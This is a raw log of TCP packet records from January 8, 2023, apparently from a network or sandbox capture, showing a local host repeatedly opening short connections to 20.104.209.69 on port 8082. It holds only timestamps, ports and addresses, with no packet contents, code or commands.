Jan 8, 2023 16:07:12.959649086 CET	49731	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.073863983 CET	8082	49731	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.095535040 CET	49732	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.210263968 CET	8082	49732	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.210522890 CET	49732	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.211927891 CET	49732	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.325921059 CET	8082	49732	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.329832077 CET	8082	49732	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.329863071 CET	8082	49732	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.329966068 CET	49732	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.330085993 CET	8082	49732	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.330146074 CET	49732	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.342725039 CET	49732	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.456944942 CET	8082	49732	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.489352942 CET	49733	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.603871107 CET	8082	49733	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.603986979 CET	49733	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.604628086 CET	49733	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.718831062 CET	8082	49733	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.723809004 CET	8082	49733	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.723834991 CET	8082	49733	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.723877907 CET	8082	49733	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.723920107 CET	49733	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.723963976 CET	49733	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.730118990 CET	49733	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.844252110 CET	8082	49733	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.873289108 CET	49734	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:13.987386942 CET	8082	49734	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:13.987519979 CET	49734	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.040615082 CET	49734	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.154917955 CET	8082	49734	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.158739090 CET	8082	49734	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.158761978 CET	8082	49734	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.158910036 CET	49734	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.159316063 CET	8082	49734	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.159378052 CET	49734	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.171099901 CET	49734	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.285773993 CET	8082	49734	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.308123112 CET	49735	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.422466040 CET	8082	49735	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.422715902 CET	49735	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.423588037 CET	49735	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.537974119 CET	8082	49735	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.542625904 CET	8082	49735	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.542712927 CET	49735	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.542728901 CET	8082	49735	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.542777061 CET	49735	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.542885065 CET	8082	49735	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.542924881 CET	49735	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.549379110 CET	49735	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.663233042 CET	8082	49735	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.704674006 CET	49736	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.819477081 CET	8082	49736	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.819571972 CET	49736	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.820384026 CET	49736	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.934180021 CET	8082	49736	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.937684059 CET	8082	49736	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.937727928 CET	8082	49736	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.937752962 CET	8082	49736	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:14.937783003 CET	49736	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.937833071 CET	49736	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:14.957102060 CET	49736	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.071324110 CET	8082	49736	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.101866007 CET	49737	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.216232061 CET	8082	49737	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.216378927 CET	49737	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.218722105 CET	49737	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.332851887 CET	8082	49737	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.337297916 CET	8082	49737	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.337352037 CET	8082	49737	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.337446928 CET	49737	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.337626934 CET	8082	49737	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.337682009 CET	49737	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.364525080 CET	49737	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.479592085 CET	8082	49737	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.505938053 CET	49738	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.620444059 CET	8082	49738	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.620564938 CET	49738	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.621061087 CET	49738	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.735114098 CET	8082	49738	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.738215923 CET	8082	49738	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.738271952 CET	8082	49738	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.738409042 CET	49738	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.738583088 CET	8082	49738	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.738683939 CET	49738	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.749811888 CET	49738	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:15.864207983 CET	8082	49738	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:15.906111002 CET	49739	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.021791935 CET	8082	49739	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.022039890 CET	49739	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.022708893 CET	49739	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.136743069 CET	8082	49739	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.140590906 CET	8082	49739	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.140630960 CET	8082	49739	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.140654087 CET	8082	49739	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.140772104 CET	49739	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.148972034 CET	49739	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.263643980 CET	8082	49739	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.290329933 CET	49740	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.404732943 CET	8082	49740	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.405041933 CET	49740	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.405638933 CET	49740	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.519985914 CET	8082	49740	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.524899006 CET	8082	49740	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.524936914 CET	8082	49740	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.524954081 CET	8082	49740	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.525059938 CET	49740	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.525124073 CET	49740	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.557405949 CET	49740	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.671574116 CET	8082	49740	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.695782900 CET	49741	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.810174942 CET	8082	49741	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.810434103 CET	49741	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.811121941 CET	49741	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.925009966 CET	8082	49741	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.929542065 CET	8082	49741	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.929600000 CET	8082	49741	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.929617882 CET	8082	49741	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:16.929632902 CET	49741	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.929666042 CET	49741	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:16.944426060 CET	49741	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.058564901 CET	8082	49741	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.081886053 CET	49742	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.196768045 CET	8082	49742	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.197328091 CET	49742	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.232974052 CET	49742	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.347008944 CET	8082	49742	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.351242065 CET	8082	49742	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.351270914 CET	8082	49742	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.351442099 CET	8082	49742	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.351505041 CET	49742	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.351635933 CET	49742	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.361001968 CET	49742	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.475296021 CET	8082	49742	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.509108067 CET	49743	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.623507023 CET	8082	49743	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.623697996 CET	49743	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.624504089 CET	49743	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.738229990 CET	8082	49743	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.743587971 CET	8082	49743	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.743637085 CET	8082	49743	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.743658066 CET	8082	49743	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.743792057 CET	49743	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.743832111 CET	49743	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.761637926 CET	49743	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:17.875700951 CET	8082	49743	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:17.893707991 CET	49744	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.008218050 CET	8082	49744	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.008382082 CET	49744	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.011465073 CET	49744	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.125807047 CET	8082	49744	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.130012989 CET	8082	49744	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.130063057 CET	8082	49744	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.130089045 CET	8082	49744	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.130105019 CET	49744	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.130151033 CET	49744	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.130151033 CET	49744	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.137535095 CET	49744	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.251923084 CET	8082	49744	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.273577929 CET	49745	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.387790918 CET	8082	49745	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.387906075 CET	49745	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.388411045 CET	49745	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.502424955 CET	8082	49745	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.506570101 CET	8082	49745	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.506619930 CET	8082	49745	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.506634951 CET	8082	49745	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.506752968 CET	49745	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.526520014 CET	49745	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.640614033 CET	8082	49745	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.662201881 CET	49746	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.776767015 CET	8082	49746	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.776916027 CET	49746	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.778578043 CET	49746	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.892987967 CET	8082	49746	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.897804976 CET	8082	49746	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.897841930 CET	8082	49746	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.897964001 CET	49746	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.898082018 CET	8082	49746	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:18.900368929 CET	49746	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:18.912941933 CET	49746	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.027178049 CET	8082	49746	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.050309896 CET	49747	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.164818048 CET	8082	49747	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.170433044 CET	49747	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.170880079 CET	49747	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.284976006 CET	8082	49747	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.289608955 CET	8082	49747	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.289657116 CET	8082	49747	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.289755106 CET	8082	49747	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.289757013 CET	49747	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.289812088 CET	49747	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.324760914 CET	49747	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.439280033 CET	8082	49747	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.461865902 CET	49748	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.577467918 CET	8082	49748	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.580559015 CET	49748	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.581327915 CET	49748	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.695262909 CET	8082	49748	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.699661016 CET	8082	49748	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.699702024 CET	8082	49748	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.699717045 CET	8082	49748	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.699865103 CET	49748	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.719463110 CET	49748	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.833960056 CET	8082	49748	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.867608070 CET	49749	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.981858969 CET	8082	49749	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:19.982075930 CET	49749	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:19.985567093 CET	49749	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.099592924 CET	8082	49749	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.105038881 CET	8082	49749	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.105073929 CET	8082	49749	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.105089903 CET	8082	49749	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.105914116 CET	49749	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.115084887 CET	49749	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.229825020 CET	8082	49749	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.261377096 CET	49750	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.375663042 CET	8082	49750	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.375880003 CET	49750	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.376528025 CET	49750	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.491106987 CET	8082	49750	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.495791912 CET	8082	49750	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.495840073 CET	8082	49750	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.495879889 CET	8082	49750	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.495984077 CET	49750	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.496043921 CET	49750	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.594023943 CET	49750	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.708271980 CET	8082	49750	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.743017912 CET	49751	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.857191086 CET	8082	49751	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.857369900 CET	49751	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.858032942 CET	49751	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.972069979 CET	8082	49751	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.975853920 CET	8082	49751	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.975913048 CET	8082	49751	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.975927114 CET	8082	49751	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:20.976109028 CET	49751	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:20.984968901 CET	49751	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.099967003 CET	8082	49751	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.123195887 CET	49752	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.237814903 CET	8082	49752	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.237977982 CET	49752	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.238722086 CET	49752	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.352962017 CET	8082	49752	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.356679916 CET	8082	49752	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.356729031 CET	8082	49752	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.356749058 CET	8082	49752	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.356769085 CET	49752	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.356812000 CET	49752	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.356812000 CET	49752	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.364983082 CET	49752	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.479856968 CET	8082	49752	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.508456945 CET	49753	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.623404980 CET	8082	49753	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.623577118 CET	49753	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.642441988 CET	49753	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.758867979 CET	8082	49753	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.760648966 CET	8082	49753	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.760746002 CET	49753	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.760757923 CET	8082	49753	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.760798931 CET	49753	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.760951996 CET	8082	49753	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.761020899 CET	49753	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.767499924 CET	49753	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:21.881519079 CET	8082	49753	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:21.892833948 CET	49754	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.007742882 CET	8082	49754	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.007879972 CET	49754	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.009047031 CET	49754	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.122816086 CET	8082	49754	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.127324104 CET	8082	49754	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.127355099 CET	8082	49754	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.127430916 CET	49754	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.127430916 CET	49754	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.128009081 CET	8082	49754	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.128145933 CET	49754	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.137373924 CET	49754	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.251674891 CET	8082	49754	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.271428108 CET	49755	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.385977030 CET	8082	49755	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.386187077 CET	49755	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.386728048 CET	49755	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.500880957 CET	8082	49755	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.505353928 CET	8082	49755	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.505404949 CET	8082	49755	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.505549908 CET	49755	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.505549908 CET	49755	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.505700111 CET	8082	49755	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.505755901 CET	49755	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.513684034 CET	49755	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.627952099 CET	8082	49755	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.643846035 CET	49756	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.758708000 CET	8082	49756	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.759526968 CET	49756	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.759526968 CET	49756	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.873961926 CET	8082	49756	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.879101992 CET	8082	49756	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.879149914 CET	8082	49756	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.879183054 CET	49756	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.879225969 CET	49756	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.879451036 CET	8082	49756	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:22.879507065 CET	49756	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:22.891509056 CET	49756	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.005948067 CET	8082	49756	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.019176960 CET	49757	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.133450985 CET	8082	49757	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.133604050 CET	49757	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.134382010 CET	49757	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.248328924 CET	8082	49757	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.253525972 CET	8082	49757	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.253562927 CET	8082	49757	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.253678083 CET	49757	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.254719019 CET	8082	49757	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.254806995 CET	49757	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.263926029 CET	49757	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.378132105 CET	8082	49757	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.409940958 CET	49758	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.524739981 CET	8082	49758	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.525015116 CET	49758	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.528234959 CET	49758	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.642261982 CET	8082	49758	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.645656109 CET	8082	49758	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.645704031 CET	8082	49758	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.645720005 CET	8082	49758	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.645906925 CET	49758	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.655044079 CET	49758	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.769695997 CET	8082	49758	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.835120916 CET	49759	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.950778961 CET	8082	49759	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:23.951008081 CET	49759	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:23.951535940 CET	49759	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.065577030 CET	8082	49759	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.069088936 CET	8082	49759	20.104.209.69	192.168.2.6
